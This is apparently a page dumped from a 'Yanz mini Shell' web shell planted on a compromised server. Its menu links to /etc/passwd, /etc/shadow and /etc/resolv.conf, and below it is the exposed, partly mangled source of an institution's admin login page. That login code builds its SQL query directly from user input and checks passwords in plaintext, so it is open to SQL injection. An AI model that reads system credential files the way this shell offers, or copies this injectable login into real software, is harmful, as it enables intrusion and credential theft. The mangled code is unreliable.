Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php
 basename($_SERVER['PHP_SELF']);
include("connect.php");
if(empty($_GET['title'])){
 $_GET['title']='Admin Panel Login';   
    
}else{
$_GET['title'];    
}

if(!empty($_GET['title'])){
	$page_title=$_GET['title'];
	
session_start();

if($page_title=='Admin Panel Login'){

<!DOCTYPE html>
<html lang="en">
<head>
  <title>National Academy for Planning & Development</title>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="css/custom_css.css">
  <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css">
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script>
  <style>
        /* CSS selection disable */
        
        body {
            -webkit-touch-callout: none;
            /* iOS Safari */
            -webkit-user-select: none;
            /* Safari */
            -khtml-user-select: none;
            /* Konqueror HTML */
            -moz-user-select: none;
            /* Firefox */
            -ms-user-select: none;
            /* Internet Explorer/Edge */
            user-select: none;
            /* Non-prefixed version, currently supported by Chrome and Opera */
        }
    </style>
  <style>
    /* Set height of the grid so .sidenav can be 100% (adjust if needed) */
   /* .row.content {height: 1500px}*/
    
    /* Set gray background color and 100% height */
	
	.container-fluid
{
    height: 100%;
}
    .sidenav {
      background-color: #f1f1f1;
      height: 100%;
    }
    
    /* Set black background color, white text and some padding */
    footer {
      background-color: #555;
      color: white;
	  margin-top: 0px;
      padding: 15px;
    }
    
    /* On small screens, set height to 'auto' for sidenav and grid */
    @media screen and (max-width: 767px) {
      .sidenav {
        height: auto;
        padding: 15px;
      }
      .row.content {height: auto;} 
    }
  </style>
  
  
  
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-204038729-2">
</script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

gtag('config', 'UA-204038729-2');
</script>

</head>
<body>

if(isset($_POST['submit'])){
	
	$user_name =$_POST['user_name'];
	$password = $_POST['password'];
    $text = $password;

$admin_query = "select * from login_registration where user_name='$user_name' AND password='$password'";

$run = mysqli_query($db,$admin_query); 
	
	if(mysqli_num_rows($run)>0){
	
	$_SESSION['user_name']=$user_name;
	
	 $select_type = "select  * from  login_registration where user_name='$user_name'";		
	$run_type =  mysqli_query($db, $select_type);
     $rowtype=mysqli_fetch_array($run_type);
	 $user_type=$rowtype['user_type'];
	
	if($user_type=='Admin'){
			
	   echo "<script>window.open('Main SecTion/index.php','_self')</script>";
	}
		else if($user_type=='User'){
			
			echo "<script>window.open('user_section/index.php','_self')</script>";
			}
			else{
				
				echo "<script>alert('User name or Password or User Type  is incorrect please Check your User Name and Password')</script>";
	echo "<script>window.open('index.php','_self')</script>";
				}

}
	else {
	
	echo "<script>alert('User name or Password is incorrect please Check your User Name and Password')</script>";
	echo "<script>window.open('index.php','_self')</script>";
	}
}
?>   
    </div>
<style>
/* Style the buttons */

/* Style the active class, and buttons on mouse-over */
.active, .btn:hover {
    background-color: #666;
    color: #000;
}
</style>
    <div class="col-sm-4" >
     <div class="list-item" >
              <ul id="myDIV">
              
              <li><a href="#" class="btn btn-lg" target="_blank" style="text-align:center; font-size:26px;">Login Panel</a></li>
                <li><a href="index.php?title=Course management Login" class="btn btn-upgrade btn-lg"  style="text-align:left;"><i class="fa fa-users"></i>Course Management </a></li>
                <li><a href="index.php?title=Data Entry Panel Login" class="btn btn-lg btn-warning" style="text-align:left;"><i class="fa fa-user-plus"></i> Data Entry / Technical Expert</a></li>
                <li><a href="index.php?title=Participant Panel Login" class="btn btn-default btn-lg blue_new"  style="text-align:left;" ><i class="fa fa-user" ></i>Participant Panel</a></li>
                
                <li><a href="index.php?title=Admin Panel Login" class="btn active btn-lg btn-primary" style="text-align:left;"><i class="fa fa-user-plus" aria-hidden="true"></i> Administrative</a></li>
               
              </ul>
   
            </div>
                <script>
// Add active class to the current button (highlight it)
var header = document.getElementById("myDIV");
var btns = header.getElementsByClassName("btn");
for (var i = 0; i < btns.length; i++) {
  btns[i].addEventListener("click", function() {
    var current = document.getElementsByClassName("active");
    current[0].className = current[0].className.replace(" active", "");
    this.className += " active";
  });
}
</script>
    </div>
  </div>
</div>

</body>
</html>

<?php

}
	else if($page_title=='Participant Panel Login'){
	echo "<script>window.open('participant.php?title=Participant Panel Login','_self')</script>";
		}
		else if($page_title=='Speaker Panel Login'){
		echo "<script>window.open('speaker.php?title=Speaker Panel Login','_self')</script>";
		}
		else if($page_title=='Course management Login'){
		echo "<script>window.open('coursemanagement.php?title=Course management Login','_self')</script>";
		}else if($page_title=='Data Entry Panel Login'){
		echo "<script>window.open('dataentry.php?title=Data Entry Panel Login','_self')</script>";
		}else{
			echo "<script>window.open('error_page.php','_self')</script>";
			}
			
	}else{
		echo "<script>window.open('error_page.php','_self')</script>";
		}		
?>